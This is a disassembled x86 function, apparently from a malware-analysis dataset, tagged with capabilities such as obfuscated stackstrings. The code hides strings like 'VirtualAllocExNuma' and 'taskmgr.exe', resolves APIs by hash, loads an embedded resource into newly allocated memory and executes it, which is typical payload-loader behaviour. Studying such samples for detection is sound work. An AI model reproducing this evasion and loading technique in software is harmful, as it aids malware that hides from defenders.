Function at 0x4077e0
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x40b219
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
mov al, byte [esp + 0x5c]
push ebx
push ebp
push esi
push edi
mov byte [esp + 0x34], al
mov edi, str.1uLRDTeB
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x38], ebx
push ecx
push str.1uLRDTeB
lea ecx, [esp + 0x3c]
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov cl, 0x75
mov byte [esp + 0x48], cl
mov byte [esp + 0x53], cl
push ebx
lea ecx, [esp + 0x28]
mov al, 0x6c
push ebx
push ecx
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x50], 0x56
mov byte [esp + 0x51], 0x69
mov byte [esp + 0x52], 0x72
mov byte [esp + 0x53], 0x74
mov byte [esp + 0x55], 0x61
mov byte [esp + 0x56], al
mov byte [esp + 0x57], 0x41
mov byte [esp + 0x58], al
mov byte [esp + 0x59], al
mov byte [esp + 0x5a], 0x6f
mov byte [esp + 0x5b], 0x63
mov byte [esp + 0x5c], 0x45
mov byte [esp + 0x5d], 0x78
mov byte [esp + 0x5e], 0x4e
mov byte [esp + 0x60], 0x6d
mov byte [esp + 0x61], 0x61
mov byte [esp + 0x62], bl
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], 0x65
mov byte [esp + 0x35], al
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], al
mov byte [esp + 0x3c], bl
call ebp
lea edx, [esp + 0x44]
mov esi, eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1a4b89aa
push esi
mov dword [esp + 0x18], eax
call fcn.00405c40
mov eax, dword [esp + 0x44]
lea ecx, [eax*8 - 0x5f27204]
push ecx
push esi
call fcn.00405c40
push 0x31cb1743
push esi
mov edi, eax
call fcn.00405c40
add esp, 0x18
push 0xa
push 0x4b60
push ebx
mov esi, eax
call edi
mov edi, eax
cmp edi, ebx
jne 0x407968
mov ecx, dword [esp + 0x38]
cmp ecx, ebx
je 0x407a32
mov al, byte [ecx - 1]
cmp al, bl
je 0x407a28
cmp al, 0xff
je 0x407a28
dec al
pop edi
pop esi
mov byte [ecx - 1], al
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
add esp, 0x54
ret
push edi
push ebx
call esi
mov esi, eax
cmp esi, ebx
je 0x40792f
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
lea edx, [esp + 0x1c]
mov edi, eax
push ebx
push edx
mov dword [esp + 0x20], edi
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x73
mov byte [esp + 0x27], 0x6b
mov byte [esp + 0x28], 0x6d
mov byte [esp + 0x29], 0x67
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], 0x2e
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x78
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], bl
call ebp
test eax, eax
je 0x4079fb
mov ebp, dword [sym.imp.MSVCRT.dll_atoi]
push ebx
push 0x40e1a8
call ebp
add esp, 4
push eax
push str.8192
call ebp
add esp, 4
or ah, 0x10
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [esp + 0x28]
mov ebp, eax
cmp ebp, ebx
jne 0x407a47
mov ecx, dword [esp + 0x38]
cmp ecx, ebx
je 0x407a32
mov al, byte [ecx - 1]
cmp al, bl
je 0x407a28
cmp al, 0xff
je 0x407a28
dec al
pop edi
pop esi
mov byte [ecx - 1], al
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
add esp, 0x54
ret
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
add esp, 0x54
ret
mov ecx, edi
mov edi, ebp
mov eax, ecx
mov edx, dword [esp + 0x6c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x68]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
push ecx
push ebp
push edx
push eax
call fcn.00403970
add esp, 0x10
call ebp
mov ecx, dword [esp + 0x38]
cmp ecx, ebx
je 0x407a97
mov al, byte [ecx - 1]
cmp al, bl
je 0x407a8d
cmp al, 0xff
je 0x407a8d
dec al
mov byte [ecx - 1], al
jmp 0x407a97
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x58]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x54
ret